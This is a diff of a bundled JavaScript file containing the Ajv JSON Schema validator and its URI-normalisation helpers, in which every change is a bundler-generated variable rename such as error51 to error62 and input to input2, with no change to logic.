(overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; 